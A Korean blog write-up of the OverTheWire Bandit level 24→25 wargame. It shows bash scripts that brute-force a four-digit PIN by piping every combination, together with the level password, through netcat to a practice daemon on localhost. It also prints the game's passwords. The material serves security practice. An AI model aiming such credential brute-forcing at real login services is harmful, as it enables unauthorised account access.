OvertheWire:bandit:Level25

CTF수상까지...!!·2023년 11월 13일
0

OvertheWire:문제풀이

목록 보기
26/26

level24->level25

Level Goal
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
You do not need to create new connections each time

브루트 포싱 코드를 작성하여, bandit24비밀번호 + 숫자 4자리 핀코드를 브루트 포싱하면 된다.

30002번 포트로 연결하는, VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar0000~9999

로 코드를 작성해 보자.

우선

nc [localhost](http://localhost) 30002 로 연결해서 작동 되는지 확인해 보았다.

그랬더니 힌트로, bandit24 비밀번호 0000~9999 이렇게 사이에 빈칸을 두어야 한다고 한다.

VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0000~9999

그러면 우선 코드를 작성할 권한이 있는 디렉터리로 이동한다.

mkdir /tmp/bandit25_code/

cd /tmp/bandit25_code/

nano code.sh

#!/bin/bash

pass="VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar"

for i in {0000..9999}; do
    echo "$pass $i"
done > /tmp/bandit25_code/passwd

./code.sh 로 스크립트 실행.

cat passwd 로 잘 생성 되었는지 확인.

이렇게 패스워드가 생성됨.

cat passwd | nc [localhost](http://localhost) 30002

위의 명령으로 30002번 포트 로컬 호스트에 연결. 저장된 passwd의 패스워드를 브루트 포싱으로 전부 대입.

근데, 그냥 위의 cat passwd | nc [localhost](http://localhost) 30002명령으로 돌리니까 가상 PC가 멈춘다… 트래픽이 너무 많아서 인듯ㅠㅠ

cat passwd | nc -i 1 localhost 30002 그래서 많이 느리지만…. -i 옵션으로 interval 1초를 주었다.

너무 한참 걸린다….그래서 아래와 같이 sleep 시간을 짧게 하도록 스크립트를 작성해 보았다.

#!/bin/bash

pass="VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar"
count=0
found=false

while IFS= read -r line; do
    if [[ $found == true ]]; then
        if [[ $count -lt 10 ]]; then
            echo "$line"
        else
            break
        fi
    fi
    echo "$line" | nc localhost 30002
    if [[ $line == *"Correct"* ]]; then
        found=true
    fi
    count=$((count+1))
    sleep 0.1  # 0.1초 대기
done
wait

아…근데 이것도 0.1초마다 아예 재연결이라서 이것도 중간에 끊긴다….

하다가 끊기네…ㅠㅠ

3000 개씩 잘라서 해보자…다음과 같이 스크립트를 3개로 만들고 실행.

#!/bin/bash

pass="VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar"

for i in {0000..3333}; do
    echo "$pass $i"
done > /tmp/bandit25_code/passwd1
#!/bin/bash

pass="VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar"

for i in {3334..6666}; do
    echo "$pass $i"
done > /tmp/bandit25_code/passwd2
#!/bin/bash

pass="VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar"

for i in {6667..9999}; do
    echo "$pass $i"
done > /tmp/bandit25_code/passwd3

위와 같이 실행하여 passwd1, passwd2, passwd3 을 만들고 실행한다.

cat passwd1 | nc [localhost](http://localhost) 30002

cat passwd2 | nc [localhost](http://localhost) 30002

cat passwd3 | nc [localhost](http://localhost) 30002

저의 경우 cat passwd3 | nc [localhost](http://localhost) 30002까지 실행했을 때 다음과 같이 나타났다.

비밀번호: p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

profile
보안 공부...내 공부...

1개의 댓글

comment-user-thumbnail
2023년 11월 13일

좋은 글이네요. 공유해주셔서 감사합니다.

답글 달기